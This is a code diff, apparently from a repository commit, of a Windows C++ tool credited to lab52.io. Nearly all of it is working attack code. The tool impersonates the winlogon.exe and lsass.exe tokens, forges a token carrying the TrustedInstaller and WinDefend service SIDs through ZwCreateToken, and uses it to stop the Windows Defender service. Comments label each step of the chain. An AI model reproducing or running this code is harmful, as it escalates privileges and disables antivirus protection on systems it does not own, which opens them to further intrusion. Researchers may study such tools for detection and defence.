1+ /* MIT License
2+
3+ Copyright(c) 2022 lab52.io
4+
5+ Permission is hereby granted, free of charge, to any person obtaining a copy
6+ of this softwareand associated documentation files(the "Software"), to deal
7+ in the Software without restriction, including without limitation the rights
8+ to use, copy, modify, merge, publish, distribute, sublicense, and /or sell
9+ copies of the Software, and to permit persons to whom the Software is
10+ furnished to do so, subject to the following conditions :
11+
12+ The above copyright noticeand this permission notice shall be included in all
13+ copies or substantial portions of the Software.
14+
15+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
18+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+ SOFTWARE.
22+ */
23+
124#include " stdafx.h"
225#include < windows.h>
326#include < iostream>
427#include < cstdio>
528#include < tlhelp32.h>
629#include < Lmcons.h>
730#include < tchar.h>
8- #include " ntdll.h"
931#include < sddl.h>
32+ #include " ntdll.h"
33+ #include " util.h"
1034
11- BOOL SetPrivilege (
12- HANDLE hToken, // access token handle
13- LPCTSTR lpszPrivilege, // name of privilege to enable/disable
14- BOOL bEnablePrivilege // to enable or disable privilege
15- )
16- {
17- TOKEN_PRIVILEGES tp;
18- LUID luid;
19-
20- if (!LookupPrivilegeValue (
21- NULL , // lookup privilege on local system
22- lpszPrivilege, // privilege to lookup
23- &luid)) // receives LUID of privilege
24- {
25- _tprintf (TEXT (" [-] LookupPrivilegeValue error: %u\n " ), GetLastError ());
26- return FALSE ;
27- }
28-
29- tp.PrivilegeCount = 1 ;
30- tp.Privileges [0 ].Luid = luid;
31- if (bEnablePrivilege)
32- tp.Privileges [0 ].Attributes = SE_PRIVILEGE_ENABLED;
33- else
34- tp.Privileges [0 ].Attributes = 0 ;
35-
36- // Enable the privilege or disable all privileges.
37-
38- if (!AdjustTokenPrivileges (
39- hToken,
40- FALSE ,
41- &tp,
42- sizeof (TOKEN_PRIVILEGES),
43- (PTOKEN_PRIVILEGES)NULL ,
44- (PDWORD)NULL ))
45- {
46- _tprintf (TEXT (" [-] AdjustTokenPrivileges error: %u\n " ), GetLastError ());
47- return FALSE ;
48- }
49-
50- if (GetLastError () == ERROR_NOT_ALL_ASSIGNED)
51-
52- {
53- _tprintf (TEXT (" [-] The token does not have the specified privilege. \n " ));
54- return FALSE ;
55- }
56-
57- return TRUE ;
58- }
59-
60- std::wstring get_usernameW ()
61- {
62- TCHAR username[UNLEN + 1 ];
63- DWORD username_len = UNLEN + 1 ;
64- GetUserName (username, &username_len);
65- std::wstring username_w (username);
66- return username_w;
67- }
68-
69- std::string get_username ()
70- {
71- TCHAR username[UNLEN + 1 ];
72- DWORD username_len = UNLEN + 1 ;
73- GetUserName (username, &username_len);
74- std::wstring username_w (username);
75- std::string username_s (username_w.begin (), username_w.end ());
76- return username_s;
77- }
78-
79-
80- BOOL StopDefenderService () {
81- SERVICE_STATUS_PROCESS ssp;
82-
83- SC_HANDLE schSCManager = OpenSCManager (
84- NULL , // local computer
85- NULL , // ServicesActive database
86- SC_MANAGER_ALL_ACCESS); // full access rights
87-
88- if (NULL == schSCManager)
89- {
90- _tprintf (TEXT (" [-] OpenSCManager failed (%d)\n " ), GetLastError ());
91- return FALSE ;
92- }
93-
94- _tprintf (TEXT (" [+] OpenSCManager success!\n " ));
95-
96- SC_HANDLE schService = OpenService (
97- schSCManager, // SCM database
98- L" WinDefend" , // name of service
99- SERVICE_STOP |
100- SERVICE_QUERY_STATUS |
101- SERVICE_ENUMERATE_DEPENDENTS);
102-
103- if (schService == NULL )
104- {
105- _tprintf (TEXT (" [-] OpenService failed (%d)\n " ), GetLastError ());
106- CloseServiceHandle (schSCManager);
107- return FALSE ;
108- }
109- _tprintf (TEXT (" [+] OpenService success!\n " ));
110-
111- // Stopping service
112-
113- if (!ControlService (
114- schService,
115- SERVICE_CONTROL_STOP,
116- (LPSERVICE_STATUS)&ssp))
117- {
118- _tprintf (TEXT (" [-] ControlService failed (%d)\n " , GetLastError ()));
119- CloseServiceHandle (schService);
120- CloseServiceHandle (schSCManager);
121- return FALSE ;
122- }
123-
124- }
125-
126- int GetProcessByNameW (PCTSTR name)
127- {
128- DWORD pid = 0 ;
129-
130- // Create toolhelp snapshot.
131- HANDLE snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0 );
132- PROCESSENTRY32 process;
133- ZeroMemory (&process, sizeof (process));
134- process.dwSize = sizeof (process);
135-
136- // Walkthrough all processes.
137- if (Process32First (snapshot, &process))
138- {
139- do
140- {
141- // Compare process.szExeFile based on format of name, i.e., trim file path
142- // trim .exe if necessary, etc.
143- if (wcscmp (process.szExeFile , name) == 0 )
144- {
145- return process.th32ProcessID ;
146- }
147- } while (Process32Next (snapshot, &process));
148- }
149-
150- CloseHandle (snapshot);
151-
152- return NULL ;
153- }
154-
155- BOOL ImpersonateProcessTokenByNameW (PCTSTR pname, PHANDLE retHandle) {
35+ // / <summary>
36+ // / Opens a user provided process by name and steals token for impersonation
37+ // / </summary>
38+ // / <param name="pname">Process Name</param>
39+ // / <param name="retHandle">Return Token Handle</param>
40+ // / <returns></returns>
41+ BOOL ImpersonateProcessTokenByName (PCTSTR pname, PHANDLE retHandle) {
15642
15743 // Initialize variables and structures
15844 HANDLE tokenHandle = NULL ;
15945 HANDLE duplicateTokenHandle = NULL ;
16046
16147 // Searching for Winlogon PID
162- DWORD PID_TO_IMPERSONATE = GetProcessByNameW (pname);
48+ DWORD PID_TO_IMPERSONATE = GetProcessByName (pname);
16349
16450 if (PID_TO_IMPERSONATE == NULL ) {
16551 _tprintf (TEXT (" [-] %s process not found\n " ), pname);
@@ -204,7 +90,7 @@ BOOL ImpersonateProcessTokenByNameW(PCTSTR pname, PHANDLE retHandle) {
20490 if (GetLastError () == NULL )
20591 {
20692 _tprintf (TEXT (" [+] %s ImpersonatedLoggedOnUser() success!\n " ), pname);
207- _tprintf (TEXT (" [+] %s Current user is: %s\n " ), pname, (get_usernameW ()).c_str ());
93+ _tprintf (TEXT (" [+] %s Current user is: %s\n " ), pname, (get_username ()).c_str ());
20894 }
20995 else
21096 {
@@ -218,11 +104,17 @@ BOOL ImpersonateProcessTokenByNameW(PCTSTR pname, PHANDLE retHandle) {
218104 CloseHandle (processHandle);
219105
220106 // Print whoami to compare to thread later
221- _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_usernameW ()).c_str ());
107+ _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_username ()).c_str ());
222108
223109 return TRUE ;
224110}
225111
112+ // / <summary>
113+ // / Gets infomration from a provided token
114+ // / </summary>
115+ // / <param name="current_token">Token handle</param>
116+ // / <param name="tic">Token information structure</param>
117+ // / <returns></returns>
226118PVOID GetInfoFromToken (HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
227119{
228120 DWORD n;
@@ -241,8 +133,13 @@ PVOID GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
241133 return 0 ;
242134}
243135
244-
245- HANDLE CreateTokenWinDefend (HANDLE base_token, BOOL isPrimary)
136+ // / <summary>
137+ // / Forge a new token with TrustedInstaller & Windefend service accounts using
138+ // / a base token
139+ // / </summary>
140+ // / <param name="base_token">Current token</param>
141+ // / <returns></returns>
142+ HANDLE CreateTokenWinDefend (HANDLE base_token)
246143{
247144 LUID luid;
248145 PLUID pluidAuth;
@@ -251,7 +148,7 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
251148 PLARGE_INTEGER pli;
252149 DWORD sessionId;
253150 HANDLE elevated_token;
254- // PTOKEN_STATISTICS stats;
151+
255152 PTOKEN_PRIVILEGES privileges;
256153 PTOKEN_OWNER owner;
257154 PTOKEN_PRIMARY_GROUP primary_group;
@@ -266,35 +163,17 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
266163 TOKEN_SOURCE sourceToken = { { ' !' , ' !' , ' !' , ' !' , ' !' , ' !' , ' !' , ' !' }, { 0 , 0 } };
267164 PSID lpSidOwner = NULL ;
268165 LUID authid = SYSTEM_LUID;
269- _ZwCreateToken ZwCreateToken;
270-
271- /*
272- const SID6 TrustedInstallerSid = {
273- {
274- SID_REVISION, SECURITY_SERVICE_ID_RID_COUNT, SECURITY_NT_AUTHORITY, { SECURITY_SERVICE_ID_BASE_RID }
275- },
276- {
277- SECURITY_TRUSTED_INSTALLER_RID1,
278- SECURITY_TRUSTED_INSTALLER_RID2,
279- SECURITY_TRUSTED_INSTALLER_RID3,
280- SECURITY_TRUSTED_INSTALLER_RID4,
281- SECURITY_TRUSTED_INSTALLER_RID5,
282- }
283- };
284- */
285- // SID_BUILTIN TkSidLocalServiceGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, SECURITY_SERVICE_ID_BASE_RID } };
286-
287166 PSID group1, group2;
167+
288168 // TrustedInstaller SID
289169 BOOL t = ConvertStringSidToSid (TEXT (" S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464" ), &group2);
290170
291171 // Windefend SID
292172 t = ConvertStringSidToSid (TEXT (" S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736" ), &group1);
293173
294-
295- ZwCreateToken = (_ZwCreateToken)GetProcAddress (LoadLibraryA (" ntdll" ), " ZwCreateToken" );
174+ _ZwCreateToken ZwCreateToken = (_ZwCreateToken)GetProcAddress (LoadLibraryA (" ntdll" ), " ZwCreateToken" );
296175 if (ZwCreateToken == NULL ) {
297- printf ( " [-] Failed to load ZwCreateToken: %d\n " , GetLastError ());
176+ _tprintf ( TEXT ( " [-] Failed to load ZwCreateToken: %d\n " ) , GetLastError ());
298177 return NULL ;
299178 }
300179
@@ -312,11 +191,8 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
312191 sourceToken.SourceIdentifier .LowPart = luid.LowPart ;
313192 sourceToken.SourceIdentifier .HighPart = luid.HighPart ;
314193
315- // stats = (PTOKEN_STATISTICS)GetInfoFromToken(base_token, TokenStatistics);
316- // privileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 2));
317194 privileges = (PTOKEN_PRIVILEGES)GetInfoFromToken (base_token, TokenPrivileges);
318195
319- // get_system_privileges(privileges);
320196 groups = (PTOKEN_GROUPS)GetInfoFromToken (base_token, TokenGroups);
321197 primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken (base_token, TokenPrimaryGroup);
322198 default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken (base_token, TokenDefaultDacl);
@@ -364,74 +240,62 @@ HANDLE CreateTokenWinDefend(HANDLE base_token, BOOL isPrimary)
364240 owner,
365241 primary_group,
366242 default_dacl,
367- &sourceToken // creates an anonymous impersonation token
243+ &sourceToken
368244 );
369245
370246 if (ntStatus == STATUS_SUCCESS)
371247 return elevated_token;
372248 else
373- printf ( " [-] Failed to create new token: %d %08x\n " , GetLastError (), ntStatus);
249+ _tprintf ( TEXT ( " [-] Failed to create new token: %d %08x\n " ) , GetLastError (), ntStatus);
374250
375251 FreeSid (lpSidOwner);
376- // if (stats) LocalFree(stats);
377252 if (groups) LocalFree (groups);
378253 if (privileges) LocalFree (privileges);
254+
379255 return NULL ;
380256}
381257
382258
383259int __cdecl _tmain (int argc, TCHAR* argv[]) {
384260
385-
386-
387-
388-
389- // Add SE debug privilege
390- /*
391- HANDLE currentTokenHandle = NULL;
392- BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
393- if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
394- {
395- _tprintf(L"[+] SeDebugPrivilege enabled!\n");
396- }
397- */
398-
399-
400-
261+ HANDLE impersonatedTokenHandle = NULL ;
401262 // Print whoami to compare to thread later
402- _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_usernameW ()).c_str ());
263+ _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_username ()).c_str ());
403264
404- HANDLE impersonatedTokenHandle = NULL ;
405- if (!ImpersonateProcessTokenByNameW (TEXT (" winlogon.exe" ), &impersonatedTokenHandle))
265+ // Step 1: Get System token and impersonate in current thread avoiding SeDebugPriv
266+ if (!ImpersonateProcessTokenByName (TEXT (" winlogon.exe" ), &impersonatedTokenHandle))
406267 exit (1 );
407268
408- if (!ImpersonateProcessTokenByNameW (TEXT (" lsass.exe" ), &impersonatedTokenHandle))
269+ // Step 2: Get a token with SeCreateTokenPriv enabled Ex. Lsass.exe have it
270+ if (!ImpersonateProcessTokenByName (TEXT (" lsass.exe" ), &impersonatedTokenHandle))
409271 exit (1 );
410272
411-
412- impersonatedTokenHandle = CreateTokenWinDefend (impersonatedTokenHandle, FALSE );
273+ // Step3: Forge a new token with Windefend and TrustedInstaller service accounts
274+ impersonatedTokenHandle = CreateTokenWinDefend (impersonatedTokenHandle);
413275
414276 if (impersonatedTokenHandle == NULL )
415277 exit (1 );
416278
417279 _tprintf (TEXT (" [+] CreateTokenWinDefend success!\n " ));
418280
281+ // Step 3: Impersonate with forged token
419282 if (ImpersonateLoggedOnUser (impersonatedTokenHandle))
420283 {
421284 _tprintf (TEXT (" [+] ImpersonatedLoggedOnUser() success!\n " ));
422- _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_usernameW ()).c_str ());
285+ _tprintf (TEXT (" [+] Current user is: %s\n " ), (get_username ()).c_str ());
423286 }
424287 else
425288 {
426289 _tprintf (TEXT (" [-] ImpersonatedLoggedOnUser() Error: %i\n " ), GetLastError ());
427290 return FALSE ;
428291 }
429292
293+ // Step 4: Finally Stop the defender service
430294 if (StopDefenderService ()) {
431- _tprintf (TEXT (" [+] StopDefenderService() success!\n " ));
295+ _tprintf (TEXT (" [+] StopDefenderServices success!\n " ));
432296 }
433297 else {
434- _tprintf (TEXT (" [-] StopDefenderService() Error: %i\n " ), GetLastError ());
298+ _tprintf (TEXT (" [-] StopDefenderServices Error: %i\n " ), GetLastError ());
435299 }
436300
437301 return 0 ;
0 commit comments